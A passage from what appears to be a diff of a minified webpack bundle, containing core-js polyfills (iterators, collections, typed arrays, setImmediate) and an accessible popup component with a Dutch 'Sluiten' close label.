e(t, i) { + var a; + if (t !== null) { + o[l] = n(t); + a = new o; + o[l] = null; + a[s] = t + } else a = u(); + return i === undefined ? a : r(a, i) + } + }, function (e, t, i) { + var n = i(25); + var r = i(92); + var a = i(26); + var s = i(17); + var o = i(277); + e.exports = function (e, t) { + var i = e == 1; + var l = e == 2; + var u = e == 3; + var d = e == 4; + var f = e == 6; + var c = e == 5 || f; + var h = t || o; + return function (t, o, m) { + var p = a(t); + var v = r(p); + var _ = n(o, m, 3); + var g = s(v.length); + var y = 0; + var b = i ? h(t, g) : l ? h(t, 0) : undefined; + var w, M; + for (; g > y; y++) + if (c || y in v) { + w = v[y]; + M = _(w, y, p); + if (e) { + if (i) b[y] = M; + else if (M) switch (e) { + case 3: + return true; + case 5: + return w; + case 6: + return y; + case 2: + b.push(w) + } else if (d) return false + } + } + return f ? -1 : u || d ? d : b + } + } + }, function (e, t) { + t.f = {}.propertyIsEnumerable + }, function (e, t) { + t.f = {}.propertyIsEnumerable + }, function (e, t) { + e.exports = n + }, function (e, t) { + e.exports = true + }, function (e, t) { + var i = 0; + var n = Math.random(); + e.exports = function (e) { + return "Symbol(".concat(e === undefined ? "" : e, ")_", (++i + n).toString(36)) + } + }, function (e, t, i) { + "use strict"; + var n = i(9); + var r = i(16); + var a = i(18); + var s = i(11)("species"); + e.exports = function (e) { + var t = n[e]; + if (a && t && !t[s]) r.f(t, s, { + configurable: true, + get: function () { + return this + } + }) + } + }, function (e, t, i) { + var n = i(11)("iterator"); + var r = false; + try { + var a = [7][n](); + a["return"] = function () { + r = true + }; + Array.from(a, function () { + throw 2 + }) + } catch (e) {} + e.exports = function (e, t) { + if (!t && !r) return false; + var i = false; + try { + var a = [7]; + var s = a[n](); + s.next = function () { + return { + done: i = true + } + }; + a[n] = function () { + return s + }; + e(a) + } catch (e) {} + return i + } + }, function (e, t, i) { + var n = i(25); + var r = i(137); + var a = i(100); + var s = i(10); + var o = i(17); + var l = i(101); + var u = {}; + var d = {}; + var t = e.exports = function (e, t, i, f, c) { + var h = c ? function () { + return e + } : l(e); + var m = n(i, f, t ? 2 : 1); + var p = 0; + var v, _, g, y; + if (typeof h != "function") throw TypeError(e + " is not iterable!"); + if (a(h)) + for (v = o(e.length); v > p; p++) { + y = t ? m(s(_ = e[p])[0], _[1]) : m(e[p]); + if (y === u || y === d) return y + } else + for (g = h.call(e); !(_ = g.next()).done;) { + y = r(g, m, _.value, t); + if (y === u || y === d) return y + } + }; + t.BREAK = u; + t.RETURN = d + }, function (e, t, i) { + "use strict"; + var n = i(9); + var r = i(0); + var a = i(32); + var s = i(49); + var o = i(33); + var l = i(74); + var u = i(50); + var d = i(8); + var f = i(12); + var c = i(73); + var h = i(53); + var m = i(289); + e.exports = function (e, t, i, p, v, _) { + var g = n[e]; + var y = g; + var b = v ? "set" : "add"; + var w = y && y.prototype; + var M = {}; + var k = function (e) { + var t = w[e]; + a(w, e, e == "delete" ? function (e) { + return _ && !d(e) ? false : t.call(this, e === 0 ? 0 : e) + } : e == "has" ? function e(i) { + return _ && !d(i) ? false : t.call(this, i === 0 ? 0 : i) + } : e == "get" ? function e(i) { + return _ && !d(i) ? undefined : t.call(this, i === 0 ? 0 : i) + } : e == "add" ? function e(i) { + t.call(this, i === 0 ? 0 : i); + return this + } : function e(i, n) { + t.call(this, i === 0 ? 0 : i, n); + return this + }) + }; + if (typeof y != "function" || !(_ || w.forEach && !f(function () { + (new y).entries().next() + }))) { + y = p.getConstructor(t, e, v, b); + s(y.prototype, i); + o.NEED = true + } else { + var L = new y; + var T = L[b](_ ? {} : -0, 1) != L; + var x = f(function () { + L.has(1) + }); + var S = c(function (e) { + new y(e) + }); + var Y = !_ && f(function () { + var e = new y; + var t = 5; + while (t--) e[b](t, t); + return !e.has(-0) + }); + if (!S) { + y = t(function (t, i) { + u(t, y, e); + var n = m(new g, t, y); + if (i != undefined) l(i, v, n[b], n); + return n + }); + y.prototype = w; + w.constructor = y + } + if (x || Y) { + k("delete"); + k("has"); + v && k("get") + } + if (Y || T) k(b); + if (_ && w.clear) delete w.clear + } + h(y, e); + M[e] = y; + r(r.G + r.W + r.F * (y != g), M); + if (!_) p.setStrong(y, e, v); + return y + } + }, function (e, t) { + t.f = Object.getOwnPropertySymbols + }, function (e, t, i) { + var n = i(9); + var r = n.navigator; + e.exports = r && r.userAgent || "" + }, function (e, t, i) { + "use strict"; + var n = i(19); + var r = i(32); + var a = i(12); + var s = i(42); + var o = i(11); + e.exports = function (e, t, i) { + var l = o(e); + var u = i(s, l, "" [e]); + var d = u[0]; + var f = u[1]; + if (a(function () { + var t = {}; + t[l] = function () { + return 7 + }; + return "" [e](t) != 7 + })) { + r(String.prototype, e, d); + n(RegExp.prototype, l, t == 2 ? function (e, t) { + return f.call(e, this, t) + } : function (e) { + return f.call(e, this) + }) + } + } + }, function (e, t) { + var i; + i = function () { + return this + }(); + try { + i = i || Function("return this")() || (1, eval)("this") + } catch (e) { + if (typeof window === "object") i = window + } + e.exports = i + }, function (e, t) { + var i = Math.ceil; + var n = Math.floor; + e.exports = function (e) { + return isNaN(e = +e) ? 0 : (e > 0 ? n : i)(e) + } + }, function (e, t) { + e.exports = function (e) { + if (e == undefined) throw TypeError("Can't call method on " + e); + return e + } + }, function (e, t, i) { + var n = i(261); + e.exports = function (e, t, i) { + n(e); + if (t === undefined) return e; + switch (i) { + case 1: + return function (i) { + return e.call(t, i) + }; + case 2: + return function (i, n) { + return e.call(t, i, n) + }; + case 3: + return function (i, n, r) { + return e.call(t, i, n, r) + } + } + return function () { + return e.apply(t, arguments) + } + } + }, function (e, t, i) { + var n = i(46); + e.exports = function (e, t) { + if (!n(e)) return e; + var i, r; + if (t && typeof (i = e.toString) == "function" && !n(r = i.call(e))) return r; + if (typeof (i = e.valueOf) == "function" && !n(r = i.call(e))) return r; + if (!t && typeof (i = e.toString) == "function" && !n(r = i.call(e))) return r; + throw TypeError("Can't convert object to primitive value") + } + }, function (e, t, i) { + var n = i(45); + var r = i(263); + var a = i(88); + var s = i(86)("IE_PROTO"); + var o = function () {}; + var l = "prototype"; + var u = function () { + var e = i(121)("iframe"); + var t = a.length; + var n = "<"; + var r = ">"; + var s; + e.style.display = "none"; + i(266).appendChild(e); + e.src = "javascript:"; + s = e.contentWindow.document; + s.open(); + s.write(n + "script" + r + "document.F=Object" + n + "/script" + r); + s.close(); + u = s.F; + while (t--) delete u[l][a[t]]; + return u() + }; + e.exports = Object.create || function e(t, i) { + var a; + if (t !== null) { + o[l] = n(t); + a = new o; + o[l] = null; + a[s] = t + } else a = u(); + return i === undefined ? a : r(a, i) + } + }, function (e, t) { + var i = {}.toString; + e.exports = function (e) { + return i.call(e).slice(8, -1) + } + }, function (e, t, i) { + var n = i(87)("keys"); + var r = i(71); + e.exports = function (e) { + return n[e] || (n[e] = r(e)) + } + }, function (e, t, i) { + var n = i(14); + var r = i(29); + var a = "__core-js_shared__"; + var s = r[a] || (r[a] = {}); + (e.exports = function (e, t) { + return s[e] || (s[e] = t !== undefined ? t : {}) + })("versions", []).push({ + version: n.version, + mode: i(70) ? "pure" : "global", + copyright: "© 2018 Denis Pushkarev (zloirock.ru)" + }) + }, function (e, t) { + e.exports = "constructor,hasOwnProperty,isPrototypeOf,propertyIsEnumerable,toLocaleString,toString,valueOf".split(",") + }, function (e, t, i) { + var n = i(30).f; + var r = i(35); + var a = i(21)("toStringTag"); + e.exports = function (e, t, i) { + if (e && !r(e = i ? e : e.prototype, a)) n(e, a, { + configurable: true, + value: t + }) + } + }, function (e, t, i) { + var n = i(8); + var r = i(9).document; + var a = n(r) && n(r.createElement); + e.exports = function (e) { + return a ? r.createElement(e) : {} + } + }, function (e, t, i) { + var n = i(9); + var r = i(19); + var a = i(38); + var s = a("typed_array"); + var o = a("view"); + var l = !!(n.ArrayBuffer && n.DataView); + var u = l; + var d = 0; + var f = 9; + var c; + var h = "Int8Array,Uint8Array,Uint8ClampedArray,Int16Array,Uint16Array,Int32Array,Uint32Array,Float32Array,Float64Array".split(","); + while (d < f) { + if (c = n[h[d++]]) { + r(c.prototype, s, true); + r(c.prototype, o, true) + } else u = false + } + e.exports = { + ABV: l, + CONSTR: u, + TYPED: s, + VIEW: o + } + }, function (e, t, i) { + var n = i(51); + e.exports = Object("z").propertyIsEnumerable(0) ? Object : function (e) { + return n(e) == "String" ? e.split("") : Object(e) + } + }, function (e, t, i) { + var n = i(22); + var r = i(17); + var a = i(52); + e.exports = function (e) { + return function (t, i, s) { + var o = n(t); + var l = r(o.length); + var u = a(s, l); + var d; + if (e && i != i) + while (l > u) { + d = o[u++]; + if (d != d) return true + } else + for (; l > u; u++) + if (e || u in o) { + if (o[u] === i) return e || u || 0 + } + return !e && -1 + } + } + }, function (e, t, i) { + var n = i(95)("keys"); + var r = i(38); + e.exports = function (e) { + return n[e] || (n[e] = r(e)) + } + }, function (e, t, i) { + var n = i(36); + var r = i(9); + var a = "__core-js_shared__"; + var s = r[a] || (r[a] = {}); + (e.exports = function (e, t) { + return s[e] || (s[e] = t !== undefined ? t : {}) + })("versions", []).push({ + version: n.version, + mode: i(40) ? "pure" : "global", + copyright: "© 2018 Denis Pushkarev (zloirock.ru)" + }) + }, function (e, t) { + e.exports = "constructor,hasOwnProperty,isPrototypeOf,propertyIsEnumerable,toLocaleString,toString,valueOf".split(",") + }, function (e, t, i) { + "use strict"; + var n = i(26); + var r = i(52); + var a = i(17); + e.exports = function e(t) { + var i = n(this); + var s = a(i.length); + var o = arguments.length; + var l = r(o > 1 ? arguments[1] : undefined, s); + var u = o > 2 ? arguments[2] : undefined; + var d = u === undefined ? s : r(u, s); + while (d > l) i[l++] = t; + return i + } + }, function (e, t, i) { + var n = i(10); + var r = i(39); + var a = i(11)("species"); + e.exports = function (e, t) { + var i = n(e).constructor; + var s; + return i === undefined || (s = n(i)[a]) == undefined ? t : r(s) + } + }, function (e, t, i) { + var n = i(51); + var r = i(11)("toStringTag"); + var a = n(function () { + return arguments + }()) == "Arguments"; + var s = function (e, t) { + try { + return e[t] + } catch (e) {} + }; + e.exports = function (e) { + var t, i, o; + return e === undefined ? "Undefined" : e === null ? "Null" : typeof (i = s(t = Object(e), r)) == "string" ? i : a ? n(t) : (o = n(t)) == "Object" && typeof t.callee == "function" ? "Arguments" : o + } + }, function (e, t, i) { + var n = i(54); + var r = i(11)("iterator"); + var a = Array.prototype; + e.exports = function (e) { + return e !== undefined && (n.Array === e || a[r] === e) + } + }, function (e, t, i) { + var n = i(99); + var r = i(11)("iterator"); + var a = i(54); + e.exports = i(36).getIteratorMethod = function (e) { + if (e != undefined) return e[r] || e["@@iterator"] || a[n(e)] + } + }, function (e, t, i) { + "use strict"; + var n = i(56); + var r = i(133); + var a = i(54); + var s = i(22); + e.exports = i(134)(Array, "Array", function (e, t) { + this._t = s(e); + this._i = 0; + this._k = t + }, function () { + var e = this._t; + var t = this._k; + var i = this._i++; + if (!e || i >= e.length) { + this._t = undefined; + return r(1) + } + if (t == "keys") return r(0, i); + if (t == "values") return r(0, e[i]); + return r(0, [i, e[i]]) + }, "values"); + a.Arguments = a.Array; + n("keys"); + n("values"); + n("entries") + }, function (e, t, i) { + var n = i(8); + var r = i(10); + var a = function (e, t) { + r(e); + if (!n(t) && t !== null) throw TypeError(t + ": can't set as prototype!") + }; + e.exports = { + set: Object.setPrototypeOf || ("__proto__" in {} ? function (e, t, n) { + try { + n = i(25)(Function.call, i(28).f(Object.prototype, "__proto__").set, 2); + n(e, []); + t = !(e instanceof Array) + } catch (e) { + t = true + } + return function e(i, r) { + a(i, r); + if (t) i.__proto__ = r; + else n(i, r); + return i + } + }({}, false) : undefined), + check: a + } + }, function (e, t, i) { + var n = i(25); + var r = i(140); + var a = i(131); + var s = i(90); + var o = i(9); + var l = o.process; + var u = o.setImmediate; + var d = o.clearImmediate; + var f = o.MessageChannel; + var c = o.Dispatch; + var h = 0; + var m = {}; + var p = "onreadystatechange"; + var v, _, g; + var y = function () { + var e = +this; + if (m.hasOwnProperty(e)) { + var t = m[e]; + delete m[e]; + t() + } + }; + var b = function (e) { + y.call(e.data) + }; + if (!u || !d) { + u = function e(t) { + var i = []; + var n = 1; + while (arguments.length > n) i.push(arguments[n++]); + m[++h] = function () { + r(typeof t == "function" ? t : Function(t), i) + }; + v(h); + return h + }; + d = function e(t) { + delete m[t] + }; + if (i(51)(l) == "process") { + v = function (e) { + l.nextTick(n(y, e, 1)) + } + } else if (c && c.now) { + v = function (e) { + c.now(n(y, e, 1)) + } + } else if (f) { + _ = new f; + g = _.port2; + _.port1.onmessage = b; + v = n(g.postMessage, g, 1) + } else if (o.addEventListener && typeof postMessage == "function" && !o.importScripts) { + v = function (e) { + o.postMessage(e + "", "*") + }; + o.addEventListener("message", b, false) + } else if (p in s("script")) { + v = function (e) { + a.appendChild(s("script"))[p] = function () { + a.removeChild(this); + y.call(e) + } + } + } else { + v = function (e) { + setTimeout(n(y, e, 1), 0) + } + } + } + e.exports = { + set: u, + clear: d + } + }, function (e, t, i) { + var n = i(146); + var r = i(42); + e.exports = function (e, t, i) { + if (n(t)) throw TypeError("String#" + i + " doesn't accept regex!"); + return String(r(e)) + } + }, function (e, t, i) { + var n = i(11)("match"); + e.exports = function (e) { + var t = /./; + try { + "/./" [e](t) + } catch (i) { + try { + t[n] = false; + return !"/./" [e](t) + } catch (e) {} + } + return true + } + }, function (e, t, i) { + "use strict"; + var n = i(16); + var r = i(37); + e.exports = function (e, t, i) { + if (t in e) n.f(e, t, r(0, i)); + else e[t] = i + } + }, function (e, t) { + e.exports = Math.sign || function e(t) { + return (t = +t) == 0 || t != t ? t : t < 0 ? -1 : 1 + } + }, function (e, t) { + var i = Math.expm1; + e.exports = !i || i(10) > 22025.465794806718 || i(10) < 22025.465794806718 || i(-2e-17) != -2e-17 ? function e(t) { + return (t = +t) == 0 ? t : t > -1e-6 && t < 1e-6 ? t + t * t / 2 : Math.exp(t) - 1 + } : i + }, function (e, t) { + t.f = Object.getOwnPropertySymbols + }, function (e, t, i) { + t.f = i(21) + }, function (e, t, i) { + var n = i(29); + var r = i(14); + var a = i(70); + var s = i(111); + var o = i(30).f; + e.exports = function (e) { + var t = r.Symbol || (r.Symbol = a ? {} : n.Symbol || {}); + if (e.charAt(0) != "_" && !(e in t)) o(t, e, { + value: s.f(e) + }) + } + }, function (e, t, i) { + var n = i(68); + var r = i(60); + var a = i(31); + var s = i(83); + var o = i(35); + var l = i(120); + var u = Object.getOwnPropertyDescriptor; + t.f = i(34) ? u : function e(t, i) { + t = a(t); + i = s(i, true); + if (l) try { + return u(t, i) + } catch (e) {} + if (o(t, i)) return r(!n.f.call(t, i), t[i]) + } + }, function (e, t, i) { + "use strict"; + t.__esModule = true; + var n = i(58); + var r = a(n); + + function a(e) { + return e && e.__esModule ? e : { + default: e + } + } + t.default = r.default || function (e) { + for (var t = 1; t < arguments.length; t++) { + var i = arguments[t]; + for (var n in i) { + if (Object.prototype.hasOwnProperty.call(i, n)) { + e[n] = i[n] + } + } + } + return e + } + }, function (e, t, i) { + var n = i(24); + var r = i(14); + var a = i(47); + e.exports = function (e, t) { + var i = (r.Object || {})[e] || Object[e]; + var s = {}; + s[e] = t(i); + n(n.S + n.F * a(function () { + i(1) + }), "Object", s) + } + }, function (e, t) { + e.exports = s + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = i(3); + var r = v(n); + var a = i(1); + var s = v(a); + var o = i(6); + var l = v(o); + var u = i(4); + var d = v(u); + var f = i(5); + var c = v(f); + var h = i(7); + var m = i(2); + var p = i(15); + + function v(e) { + return e && e.__esModule ? e : { + default: e + } + } + var _ = function (e) { + (0, c.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, s.default)(this, t); + var n = (0, d.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.default_settings, i)); + n.lastFocus = n.settings.lastFocus ? n.settings.lastFocus : null; + n.innerContent = e; + n.nextSibling = e.nextSibling; + n.parent = e.parentNode; + n.handleKeyPress = n.handleKeyPress.bind(n); + var a = n.innerContent.getAttribute("data-label-close"); + if (a) { + n.settings.closeLabel = a + } + return n + }(0, l.default)(t, [{ + key: "handleKeyPress", + value: function e(t) { + t = this.keepFocus(t); + if (t.keyCode === 27) { + this.close() + } + } + }, { + key: "keepFocus", + value: function e(t) { + var i = document.activeElement; + if (!i) { + i = document.body + } + if (!i.nodeName) { + i = document.body + } + var n = this.container === i || this.container.contains(i); + if (!n) { + t.preventDefault(); + this.focusTabbable() + } + return t + } + }, { + key: "focusTabbable", + value: function e() { + this.container.querySelector(".popup__close").focus() + } + }, { + key: "initPopup", + value: function e() { + var t = this; + document.body.appendChild(this.buildWrapper(this.innerContent)); + (0, h.on)(this.container, "click", ".popup__close", function (e) { + e.preventDefault(); + t.close() + }); + var i = document.querySelector(".popup"); + i && i.addEventListener("click", function (e) { + if (e.target.classList.contains("center-y__inner")) { + t.close() + } + }) + } + }, { + key: "buildWrapper", + value: function e() { + var i = this.settings.className ? this.settings.className : ""; + this.wrapper = document.createElement("div"); + this.wrapper.className = "popup " + i; + this.center = document.createElement("div"); + this.center.className = "center-y"; + this.center_inner = document.createElement("div"); + this.center_inner.className = "center-y__inner"; + var n = this.settings.closeLabel ? this.settings.closeLabel : t.default_settings.closeLabel; + this.container = document.createElement("div"); + this.container.className = "popup__container"; + this.container.innerHTML = '\n \n \n '; + this.content = document.createElement("div"); + this.content.className = "popup__content"; + this.content.appendChild(this.innerContent); + this.container.appendChild(this.content); + this.center_inner.appendChild(this.container); + this.center.appendChild(this.center_inner); + this.wrapper.appendChild(this.center); + (0, h.removeClass)(this.innerContent, "hide"); + return this.wrapper + } + }, { + key: "setupAnimation", + value: function e() { + var t = this; + this.tl = new TimelineLite({ + onReverseComplete: function e() { + (0, h.addClass)(t.innerContent, "hide"); + if (t.nextSibling) { + t.parent.insertBefore(t.innerContent, t.nextSibling) + } else { + t.parent.append(t.innerContent) + } + document.body.removeChild(t.wrapper) + } + }); + this.tl.fromTo(this.wrapper, .2, { + opacity: 0 + }, { + opacity: 1 + }); + if ((0, p.getScreenSize)() != "sm") { + this.tl.fromTo(this.container, .2, { + y: 50, + opacity: 0 + }, { + y: 0, + opacity: 1 + }) + } + } + }, { + key: "open", + value: function e() { + this.initPopup(); + this.setupAnimation(); + this.tl.play(); + if (!this.lastFocus) { + this.lastFocus = document.activeElement + } + this.container.querySelector(".popup__close").focus(); + window.addEventListener("keyup", this.handleKeyPress); + document.body.classList.add("popuped"); + if (this.settings.onOpen) { + this.settings.onOpen(this.el) + } + } + }, { + key: "close", + value: function e() { + this.lastFocus.focus(); + window.removeEventListener("keyup", this.handleKeyPress); + document.body.classList.remove("popuped"); + this.tl.reverse(); + if (this.settings.onClose) { + this.settings.onClose(this.el) + } + } + }]); + return t + }(m.Component); + _.default_settings = { + attributes: false, + closeLabel: "Sluiten", + onOpen: function e() {}, + onClose: function e() {} + }; + t.default = _ + }, function (e, t, i) { + "use strict"; + var n = i(260)(true); + i(119)(String, "String", function (e) { + this._t = String(e); + this._i = 0 + }, function () { + var e = this._t; + var t = this._i; + var i; + if (t >= e.length) return { + value: undefined, + done: true + }; + i = n(e, t); + this._i += i.length; + return { + value: i, + done: false + } + }) + }, function (e, t, i) { + "use strict"; + var n = i(70); + var r = i(24); + var a = i(122); + var s = i(44); + var o = i(61); + var l = i(262); + var u = i(89); + var d = i(126); + var f = i(21)("iterator"); + var c = !([].keys && "next" in [].keys()); + var h = "@@iterator"; + var m = "keys"; + var p = "values"; + var v = function () { + return this + }; + e.exports = function (e, t, i, _, g, y, b) { + l(i, t, _); + var w = function (e) { + if (!c && e in T) return T[e]; + switch (e) { + case m: + return function t() { + return new i(this, e) + }; + case p: + return function t() { + return new i(this, e) + } + } + return function t() { + return new i(this, e) + } + }; + var M = t + " Iterator"; + var k = g == p; + var L = false; + var T = e.prototype; + var x = T[f] || T[h] || g && T[g]; + var S = x || w(g); + var Y = g ? !k ? S : w("entries") : undefined; + var D = t == "Array" ? T.entries || x : x; + var E, C, P; + if (D) { + P = d(D.call(new e)); + if (P !== Object.prototype && P.next) { + u(P, M, true); + if (!n && typeof P[f] != "function") s(P, f, v) + } + } + if (k && x && x.name !== p) { + L = true; + S = function e() { + return x.call(this) + } + } + if ((!n || b) && (c || L || !T[f])) { + s(T, f, S) + } + o[t] = S; + o[M] = v; + if (g) { + E = { + values: k ? S : w(p), + keys: y ? S : w(m), + entries: Y + }; + if (b) + for (C in E) { + if (!(C in T)) a(T, C, E[C]) + } else r(r.P + r.F * (c || L), t, E) + } + return E + } + }, function (e, t, i) { + e.exports = !i(34) && !i(47)(function () { + return Object.defineProperty(i(121)("div"), "a", { + get: function () { + return 7 + } + }).a != 7 + }) + }, function (e, t, i) { + var n = i(46); + var r = i(29).document; + var a = n(r) && n(r.createElement); + e.exports = function (e) { + return a ? r.createElement(e) : {} + } + }, function (e, t, i) { + e.exports = i(44) + }, function (e, t, i) { + var n = i(35); + var r = i(31); + var a = i(264)(false); + var s = i(86)("IE_PROTO"); + e.exports = function (e, t) { + var i = r(e); + var o = 0; + var l = []; + var u; + for (u in i) + if (u != s) n(i, u) && l.push(u); + while (t.length > o) + if (n(i, u = t[o++])) { + ~a(l, u) || l.push(u) + } + return l + } + }, function (e, t, i) { + var n = i(85); + e.exports = Object("z").propertyIsEnumerable(0) ? Object : function (e) { + return n(e) == "String" ? e.split("") : Object(e) + } + }, function (e, t, i) { + var n = i(80); + var r = Math.min; + e.exports = function (e) { + return e > 0 ? r(n(e), 9007199254740991) : 0 + } + }, function (e, t, i) { + var n = i(35); + var r = i(62); + var a = i(86)("IE_PROTO"); + var s = Object.prototype; + e.exports = Object.getPrototypeOf || function (e) { + e = r(e); + if (n(e, a)) return e[a]; + if (typeof e.constructor == "function" && e instanceof e.constructor) { + return e.constructor.prototype + } + return e instanceof Object ? s : null + } + }, function (e, t, i) { + e.exports = !i(18) && !i(12)(function () { + return Object.defineProperty(i(90)("div"), "a", { + get: function () { + return 7 + } + }).a != 7 + }) + }, function (e, t, i) { + "use strict"; + var n = i(9); + var r = i(18); + var a = i(40); + var s = i(91); + var o = i(19); + var l = i(49); + var u = i(12); + var d = i(50); + var f = i(41); + var c = i(17); + var h = i(129); + var m = i(64).f; + var p = i(16).f; + var v = i(97); + var _ = i(53); + var g = "ArrayBuffer"; + var y = "DataView"; + var b = "prototype"; + var w = "Wrong length!"; + var M = "Wrong index!"; + var k = n[g]; + var L = n[y]; + var T = n.Math; + var x = n.RangeError; + var S = n.Infinity; + var Y = k; + var D = T.abs; + var E = T.pow; + var C = T.floor; + var P = T.log; + var A = T.LN2; + var O = "buffer"; + var j = "byteLength"; + var H = "byteOffset"; + var I = r ? "_b" : O; + var F = r ? "_l" : j; + var z = r ? "_o" : H; + + function R(e, t, i) { + var n = new Array(i); + var r = i * 8 - t - 1; + var a = (1 << r) - 1; + var s = a >> 1; + var o = t === 23 ? E(2, -24) - E(2, -77) : 0; + var l = 0; + var u = e < 0 || e === 0 && 1 / e < 0 ? 1 : 0; + var d, f, c; + e = D(e); + if (e != e || e === S) { + f = e != e ? 1 : 0; + d = a + } else { + d = C(P(e) / A); + if (e * (c = E(2, -d)) < 1) { + d--; + c *= 2 + } + if (d + s >= 1) { + e += o / c + } else { + e += o * E(2, 1 - s) + } + if (e * c >= 2) { + d++; + c /= 2 + } + if (d + s >= a) { + f = 0; + d = a + } else if (d + s >= 1) { + f = (e * c - 1) * E(2, t); + d = d + s + } else { + f = e * E(2, s - 1) * E(2, t); + d = 0 + } + } + for (; t >= 8; n[l++] = f & 255, f /= 256, t -= 8); + d = d << t | f; + r += t; + for (; r > 0; n[l++] = d & 255, d /= 256, r -= 8); + n[--l] |= u * 128; + return n + } + + function N(e, t, i) { + var n = i * 8 - t - 1; + var r = (1 << n) - 1; + var a = r >> 1; + var s = n - 7; + var o = i - 1; + var l = e[o--]; + var u = l & 127; + var d; + l >>= 7; + for (; s > 0; u = u * 256 + e[o], o--, s -= 8); + d = u & (1 << -s) - 1; + u >>= -s; + s += t; + for (; s > 0; d = d * 256 + e[o], o--, s -= 8); + if (u === 0) { + u = 1 - a + } else if (u === r) { + return d ? NaN : l ? -S : S + } else { + d = d + E(2, t); + u = u - a + } + return (l ? -1 : 1) * d * E(2, u - t) + } + + function W(e) { + return e[3] << 24 | e[2] << 16 | e[1] << 8 | e[0] + } + + function B(e) { + return [e & 255] + } + + function q(e) { + return [e & 255, e >> 8 & 255] + } + + function $(e) { + return [e & 255, e >> 8 & 255, e >> 16 & 255, e >> 24 & 255] + } + + function V(e) { + return R(e, 52, 8) + } + + function G(e) { + return R(e, 23, 4) + } + + function U(e, t, i) { + p(e[b], t, { + get: function () { + return this[i] + } + }) + } + + function X(e, t, i, n) { + var r = +i; + var a = h(r); + if (a + t > e[F]) throw x(M); + var s = e[I]._b; + var o = a + e[z]; + var l = s.slice(o, o + t); + return n ? l : l.reverse() + } + + function J(e, t, i, n, r, a) { + var s = +i; + var o = h(s); + if (o + t > e[F]) throw x(M); + var l = e[I]._b; + var u = o + e[z]; + var d = n(+r); + for (var f = 0; f < t; f++) l[u + f] = d[a ? f : t - f - 1] + } + if (!s.ABV) { + k = function e(t) { + d(this, k, g); + var i = h(t); + this._b = v.call(new Array(i), 0); + this[F] = i + }; + L = function e(t, i, n) { + d(this, L, y); + d(t, k, y); + var r = t[F]; + var a = f(i); + if (a < 0 || a > r) throw x("Wrong offset!"); + n = n === undefined ? r - a : c(n); + if (a + n > r) throw x(w); + this[I] = t; + this[z] = a; + this[F] = n + }; + if (r) { + U(k, j, "_l"); + U(L, O, "_b"); + U(L, j, "_l"); + U(L, H, "_o") + } + l(L[b], { + getInt8: function e(t) { + return X(this, 1, t)[0] << 24 >> 24 + }, + getUint8: function e(t) { + return X(this, 1, t)[0] + }, + getInt16: function e(t) { + var i = X(this, 2, t, arguments[1]); + return (i[1] << 8 | i[0]) << 16 >> 16 + }, + getUint16: function e(t) { + var i = X(this, 2, t, arguments[1]); + return i[1] << 8 | i[0] + }, + getInt32: function e(t) { + return W(X(this, 4, t, arguments[1])) + }, + getUint32: function e(t) { + return W(X(this, 4, t, arguments[1])) >>> 0 + }, + getFloat32: function e(t) { + return N(X(this, 4, t, arguments[1]), 23, 4) + }, + getFloat64: function e(t) { + return N(X(this, 8, t, arguments[1]), 52, 8) + }, + setInt8: function e(t, i) { + J(this, 1, t, B, i) + }, + setUint8: function e(t, i) { + J(this, 1, t, B, i) + }, + setInt16: function e(t, i) { + J(this, 2, t, q, i, arguments[2]) + }, + setUint16: function e(t, i) { + J(this, 2, t, q, i, arguments[2]) + }, + setInt32: function e(t, i) { + J(this, 4, t, $, i, arguments[2]) + }, + setUint32: function e(t, i) { + J(this, 4, t, $, i, arguments[2]) + }, + setFloat32: function e(t, i) { + J(this, 4, t, G, i, arguments[2]) + }, + setFloat64: function e(t, i) { + J(this, 8, t, V, i, arguments[2]) + } + }) + } else { + if (!u(function () { + k(1) + }) || !u(function () { + new k(-1) + }) || u(function () { + new k; + new k(1.5); + new k(NaN); + return k.name != g + })) { + k = function e(t) { + d(this, k); + return new Y(h(t)) + }; + var K = k[b] = Y[b]; + for (var Q = m(Y), Z = 0, ee; Q.length > Z;) { + if (!((ee = Q[Z++]) in k)) o(k, ee, Y[ee]) + } + if (!a) K.constructor = k + } + var te = new L(new k(2)); + var ie = L[b].setInt8; + te.setInt8(0, 2147483648); + te.setInt8(1, 2147483649); + if (te.getInt8(0) || !te.getInt8(1)) l(L[b], { + setInt8: function e(t, i) { + ie.call(this, t, i << 24 >> 24) + }, + setUint8: function e(t, i) { + ie.call(this, t, i << 24 >> 24) + } + }, true) + } + _(k, g); + _(L, y); + o(L[b], s.VIEW, true); + t[g] = k; + t[y] = L + }, function (e, t, i) { + var n = i(41); + var r = i(17); + e.exports = function (e) { + if (e === undefined) return 0; + var t = n(e); + var i = r(t); + if (t !== i) throw RangeError("Wrong length!"); + return i + } + }, function (e, t, i) { + var n = i(20); + var r = i(22); + var a = i(93)(false); + var s = i(94)("IE_PROTO"); + e.exports = function (e, t) { + var i = r(e); + var o = 0; + var l = []; + var u; + for (u in i) + if (u != s) n(i, u) && l.push(u); + while (t.length > o) + if (n(i, u = t[o++])) { + ~a(l, u) || l.push(u) + } + return l + } + }, function (e, t, i) { + var n = i(9).document; + e.exports = n && n.documentElement + }, function (e, t, i) { + var n = i(51); + e.exports = Array.isArray || function e(t) { + return n(t) == "Array" + } + }, function (e, t) { + e.exports = function (e, t) { + return { + value: t, + done: !!e + } + } + }, function (e, t, i) { + "use strict"; + var n = i(40); + var r = i(0); + var a = i(32); + var s = i(19); + var o = i(54); + var l = i(279); + var u = i(53); + var d = i(55); + var f = i(11)("iterator"); + var c = !([].keys && "next" in [].keys()); + var h = "@@iterator"; + var m = "keys"; + var p = "values"; + var v = function () { + return this + }; + e.exports = function (e, t, i, _, g, y, b) { + l(i, t, _); + var w = function (e) { + if (!c && e in T) return T[e]; + switch (e) { + case m: + return function t() { + return new i(this, e) + }; + case p: + return function t() { + return new i(this, e) + } + } + return function t() { + return new i(this, e) + } + }; + var M = t + " Iterator"; + var k = g == p; + var L = false; + var T = e.prototype; + var x = T[f] || T[h] || g && T[g]; + var S = x || w(g); + var Y = g ? !k ? S : w("entries") : undefined; + var D = t == "Array" ? T.entries || x : x; + var E, C, P; + if (D) { + P = d(D.call(new e)); + if (P !== Object.prototype && P.next) { + u(P, M, true); + if (!n && typeof P[f] != "function") s(P, f, v) + } + } + if (k && x && x.name !== p) { + L = true; + S = function e() { + return x.call(this) + } + } + if ((!n || b) && (c || L || !T[f])) 